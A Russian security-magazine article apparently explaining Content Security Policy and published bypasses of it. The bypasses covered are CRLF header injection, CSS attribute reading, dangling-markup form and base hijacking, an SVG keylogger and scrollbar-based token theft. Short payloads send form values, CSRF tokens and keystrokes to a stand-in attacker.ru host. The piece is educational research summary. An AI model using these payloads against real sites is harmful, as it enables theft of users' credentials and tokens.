Обзор нового веб-стандарта и его фундаментальных уязвимостей

Чтобы идти в ногу со временем, браузеры внедряют все новые технологии для обеспечения безопасности пользователей. Одна из них — Content Security Policy, позволяющая разработчикам сайтов четко объяснить браузеру, на какие адреса тот может выполнять межсайтовые запросы. Однако новый веб-стандарт страдает от существенных недостатков, ставящих под сомнение его пригодность как защиты от XSS.

 

Content Security Policy vs Same Origin Policy

Одним из главных принципов безопасности браузеров и веба в целом является Same Origin Policy — дословно «политика единого источника» (устоявшегося термина до сих пор не существует). Ее суть заключается в проверке трех компонентов, из которых состоит origin: протокол, хост и порт. Если страница http://test1.ru/a.html пытается получить доступ к DOM страницы http://test2.ru/b.html, то у нее ничего не выйдет, так как хосты отличаются. Если бы SOP не существовал, любой сайт мог бы делать запросы на произвольные адреса и получать оттуда данные, что, как подсказывает логика, не есть хорошо. Причем страдали бы все: как пользователи, чьи персональные данные летали бы без принуждения, так и владельцы ресурсов, — в общем, в вебах творился бы полный хаос. Поэтому Same Origin Policy всех спасает и все счастливы. Однако есть одно но: что, если на страницу http://test1.ru/a.html внедрен злой скрипт с сайта http://test2.ru/, который делает плохие штуки в контексте браузера жертвы? В данном случае SOP бесполезен, ибо на <script src=”...”> политика не распространяется. Что же делать?

CSP для всех

На помощь приходит новый стандарт — Content Security Policy, основное предназначение которого состоит в том, чтобы защитить пользователя от угроз межсайтового выполнения сценариев. Изначальный вариант спецификации был разработан в Mozilla Foundation. Первым браузером с поддержкой CSP стал Firefox 4.0, который вышел в марте 2011 года. С конца 2012 года CSP 1.0 находится в W3C на стадии принятия как веб-стандарта. На данный момент разрабатывается спецификация CSP 1.1. Согласно статистике сайта statcounter.com, на момент написания статьи полную поддержку Content Security Policy имели более 60% браузеров по всему миру.

Флагманами выступают Firefox и Chrome, которые раньше всех внедрили реализацию CSP в качестве экспериментальной фичи и с недавнего времени перешли на полную поддержку. В техническом плане это означает, что директивы CSP помещались во временный HTTP-заголовок с префиксом (X-Content-Security-Policy в Firefox и X-WebKit-CSP в Chrome), а сейчас используется стандартный заголовок (Content-Security-Policy). В Internet Explorer по традиции все печально: CSP работает только с версии 10.0 и в очень урезанном виде.

Тест CSP в Chrome 28
Тест CSP в Chrome 28

Как работает CSP

Главный смысл CSP в том, чтобы позволить разработчикам сайтов в явном виде объявить белый список источников, откуда могут быть загружены данные для разных типов ресурсов. Принцип «что не разрешено, то запрещено» позволяет снизить риск обхода политики. CSP дает возможность определить разрешенные списки с помощью следующих директив: script-src, font-src, frame-src, img-src, media-src, object-src, style-src. Как нетрудно догадаться, script-src задает вайт-лист значений для атрибута src тега <script>, frame-src — тега <frame>, media-src — <video> и <audio> и так далее. Кроме того, есть директива default-src, которая имеет силу, когда директива для конкретного типа ресурса не объявлена.

Имеется четыре ключевых слова, которые, помимо URL, могут быть использованы в качестве источника:

  • self означает текущий origin (протокол, хост, порт);
  • none — запрещает все;
  • unsafe-inline — разрешает использование «инлайн» JS-скриптов, то есть кода в теге <script> прямо на странице; также имеет аналогичное значение для тега <style> и CSS-свойств;
  • unsafe-eval — разрешает выполнение JavaScript-кода как строки с помощью функций eval, setTimeout и setInterval.

Помимо прочего, могут использоваться вайлдкарды для любой части URL, например *://test.ru:* применяет политику для хоста test.ru с любым протоколом и портом.

Чтобы лучше понять, как работает CSP, рассмотрим следующий пример. Страница http://test.ru/a.html задает следующую политику с помощью HTTP-заголовка (также возможно использовать тег <meta>):

HTTP/1.0 200 OK Content-Security-Policy: default-src 'self'; script-src http://cdn.test.ru http://ajax.googleapis.com; img-src  http://cdn.test.ru; style-src http://cdn.test.ru Content-Length: 4242 Connection: close

В данном случае CSP разрешает выполнение скриптов только с хостов cdn.test.ru и ajax.googleapis.com, загрузку изображений и стилей — с cdn.test.ru, для остальных типов ресурсов определен кейворд self, например отправка AJAX-запросов (connect-src) разрешена только на текущий origin.

Если атакующий имеет XSS и попытается вставить скрипт со своего сайта, то браузер заблокирует его выполнение и выведет в консоль сообщение следующего вида:

Refused to load the script 'http://attacker.ru/xss.js' because it violates the following Content Security Policy directive: "script-src http://cdn.test.ru http://ajax.googleapis.com".

А теперь, когда кажется, что все прекрасно, самое время поговорить об ограничениях CSP, которые могут привести к обходу политики.

Нарушение CSP в консоли Chrome
Нарушение CSP в консоли Chrome

Ограничения CSP

С позиции веб-разработчика правильно и грамотно развернуть CSP на своем ресурсе довольно проблематично, так как для каждой страницы необходимо устанавливать отдельную политику. В настройке CSP ему может помочь такая директива, как report-uri, с помощью которой он может получать от браузера информацию о всех нарушениях политики. Отчет о нарушении CSP может выглядеть следующим образом:

{  "csp-report": {  "document-uri": "http://test.ru/a.html",  "referrer": "http://test.ru/",  "blocked-uri": "http://attacker.ru/xss.js",  "violated-directive": "script-src http://cdn.test.ru http://ajax.googleapis.com",  "original-policy": "script-src http://cdn.test.ru http://ajax.googleapis.com; report-uri /csp_report_parser"  } }

Получая отчеты, разработчик решает, какие источники нужно разрешить, и соответствующим образом обновляет политику — вручную либо с помощью специальных средств. Например, для Ruby есть gem от компании Twitter — secureheaders, позволяющий настроить не только CSP, но и установить другие модные заголовки, вроде X-XSS-Protection, X-Content-Type-Options и другие.

Мобильный Twitter одним из первых стал использовать CSP
Мобильный Twitter одним из первых стал использовать CSP

Все бы хорошо, но почти в 100% случаев разработчик столкнется с проблемой инлайн-скриптов. Дело в том, что CSP 1.0 может либо полностью разрешить их, либо запретить, третьего не дано. Стандарт рассматривает инлайн-скрипты как большое зло, однако полностью отказаться от них в угоду CSP на обычном сайте, на котором заранее не планировалось разворачивать CSP, едва ли удастся. Поэтому, указав в script-src ‘unsafe-inline’, разработчик автоматически открывает все двери для атакующего.

В разрабатываемой на данный момент спецификации CSP 1.1 есть частичное решение для этой проблемы — директива script-nonce, которая позволяет задать некое уникальное значение-токен для всех разрешенных скриптов. Таким образом, блокируются не все инлайн-скрипты, а только неизвестные:

<script nonce=”9cdfb439c7876e703e307864c9167a15”> alert(“allowed”); </script> <script> alert(“not allowed”); </script>

Очевидно, что такой подход не поможет защититься от случаев, когда у атакующего есть возможность внедрить код в скрипт с валидным токеном. Кроме того, есть масса вариантов обхода, о чем пойдет речь ниже.

CRLF Injection

При наличии CRLF-инъекции в заголовках ответа, то есть отсутствии фильтрации символа переноса строки, у атакующего есть возможность банального обхода CSP с помощью внедрения собственных директив. Здесь большую роль играет то, какой заголовок браузер будет использовать при наличии нескольких с одинаковым именем. Как в случае с HTTP Parameter Pollution, где одинаковые имена параметров обрабатываются по-разному на разных платформах, при внедрении еще одного заголовка Content-Security-Policy важно, где он окажется — перед первоначальным или после него, так как один браузер может взять последний заголовок, а другой — первый. Так, если браузер отдает приоритет первому и мы внедряем наш CSP перед настоящим, то обход тривиален:

HTTP/1.1 200 OK Set-Cookie: language=ru; Content-Security-Policy: script-src 'unsafe-inline' * Content-Security-Policy: default-src 'self'

Если же используется последний встреченный заголовок, то мы можем отправить его в тело страницы, отправив rnrn:

ru;rnContent-Security-Policy: script-src 'unsafe-inline' *rnrn

На выходе получим:

HTTP/1.1 200 OK Set-Cookie: language=ru; Content-Security-Policy: script-src 'unsafe-inline' *  Content-Security-Policy: default-src 'self' …

Таким образом, первоначальный заголовок попадет в содержание HTTP-ответа и не будет иметь силы.

Scriptless Attacks

Перейдем к более интересным вариантам обхода — на стороне клиента. Основная цель межсайтового скриптинга — получить некую приватную информацию пользователя, которая обычно хранится в cookie. Однако с введением таких мер защиты, как флаг httpOnly, запрещающий JS-скриптам доступ к защищаемым cookie, внедрением в браузеры XSS-фильтров (XSS Auditor в Chrome, XSSFilter в IE), собственно и самого CSP, исследователи безопасности все чаще обращают внимание на другие цели, например личные данные, различного рода токены (CSRF, oAuth, в скором будущем и script-nonce). При этом используются новые способы отправки данных на сторонние сайты, без JavaScript!

CSSAR

Еще в 2008 году Эдуардо Вела (Eduardo Vela), Дэвид Линдсей (David Lindsay) и Гарет Хейс (Gareth Heyes) представили технику чтения атрибутов тегов с помощью CSS-селекторов. На данный момент техника все так же актуальна. Если раньше она позиционировалась как обход NoScript, то сейчас ее можно использовать и для CSP. Суть CSSAR (CSS Attribute Reading) в брутфорсе значений с помощью селекторов атрибутов. Для этого на уязвимую страницу подключается CSS-файл с комбинациями выражений:

input[value^=a] {background:url(http://attacker.ru/?a)}

Если значение целевого инпута начинается с «a», то будет отправлен запрос на сайт атакующего через подгрузку фонового изображения, относящегося к соответствующей комбинации символов. CSS не имеет возможности указать позицию символа, поэтому для получения следующего знака необходимо сгенерировать массу вариантов вида

input[value^=aa] {background:url(http://attacker.ru/?aa)}

Поэтому конечный PoC может иметь объем в несколько сотен килобайтов.

CSSAR в действии
CSSAR в действии

Вариант обхода № 4. Postcards from post-XSS world

Интересные идеи предложил Михал Залевски (Michal Zalewski). Например, имея внедрение кода перед формой, защищенной CSRF-токеном, можно вставить незакрытый тег img:

<img src=”http://attacker.ru?c=

Все содержание страницы до следующей закрывающей кавычки, включая и целевой токен, после незакрытого атрибута src будет отправлено на сайт атакующего.

Другой вектор — использование тега <textarea>, который работает как CDATA в XML. Внутри textarea допускаются любые символы, однако в отличие от предыдущего способа отправить полное содержание страницы можно только при участии пользователя, который должен самостоятельно отправить форму.

Еще один способ использует тот факт, что формы не могут быть вложенными, поэтому внедрение незакрытого тега <form> перед целевой формой позволяет перенаправить ее данные на хост атакующего:

<form action='http://attacker.ru/log.php'> ... <form action='login.php'> <input type="text" name="login"> <input type="password" name="password"> </form>

Аналогичного результата можно достичь при помощи вектора с использованием тега <base>, который определяет URL для всех относительных путей на странице. Согласно стандарту, тег должен быть включен внутри <head>, однако большинство браузеров допускают использование тега в любом месте:

<base href='http://attacker.ru/'> ... <form action='login.php'> <input type="text" name="login"> <input type="password" name="password"> </form>

Вариант обхода № 5. SVG-кейлоггер

Не менее интересные способы отправки личных данных на сторонние сайты в обход CSP можно встретить в исследованиях Марио Хайдериха (Mario Heiderich). Один из них играет роль настоящего кейлоггера при помощи тегов <svg> и <set>. Официальная и документированная W3C-фича accessKey внутри <set> позволяет привязать нажатия клавиш к инициированию HTTP-запросов — идеально для реализации кейлоггера, причем без использования JS! Внедрив следующий код на страницу с формой авторизации, можно перехватить нажатия клавиш пользователя и, соответственно, его логин и пароль:

<svg height="0px"> <image xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="none"> <set attributeName="xlink:href" begin="accessKey(a)" to="//attacker.ru/?a" /> <set attributeName="xlink:href" begin="accessKey(b)" to="//attacker.ru/?b" /> <set attributeName="xlink:href" begin="accessKey(c)" to="//attacker.ru/?c" /> ... </image> </svg>
Кейлоггер без строчки JS
Кейлоггер без строчки JS

Вариант обхода № 6. Чтение атрибутов с помощью… скроллбаров

Пожалуй, самая интересная scriptless-атака в обход CSP — чтение атрибутов с помощью CSS, SVG и скроллбаров в WebKit от того же Марио Хайдериха. Один из принципов атаки аналогичен CSSAR — с помощью CSS-селекторов содержание атрибута можно выразить через DOM, но уже селектором :after c CSS-выражением вида content: attr(href) (для ссылок). Дальше интересней — для каждого такого элемента с содержанием атрибута можно присвоить SVG-шрифт. В шрифте имеется лишь один символ, таким образом, остальные символы в целевом атрибуте не будут иметь физического размера на странице. Если «сжать» значение, то с помощью скроллбаров можно выяснить, какой символ содержится в значении, используя специальный селектор для указания фонового изображения при появлении скроллбара:

div.a::-webkit-scrollbar-track-piece:vertical:increment { background: red url(/A); }

Техника позволяет извлекать CSRF-токены за меньшее количество запросов и с помощью меньшего по размеру эксплойта, нежели CSSAR. Демо смотри здесь.

Fin

Content Security Policy — большой шаг в сторону более безопасного веба. В перспективе веб-стандарт может серьезно повлиять на клиент-сайд атаки как класс. Если сейчас на большинстве уязвимых к XSS сайтам угнать куки можно обычными JS-векторами, то в будущем с распространением CSP в массы все будет не так просто. А это подтолкнет исследователей безопасности к еще более изощренным техникам, нацеленным на уязвимости в особенностях реализации CSP в конкретных браузерах.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии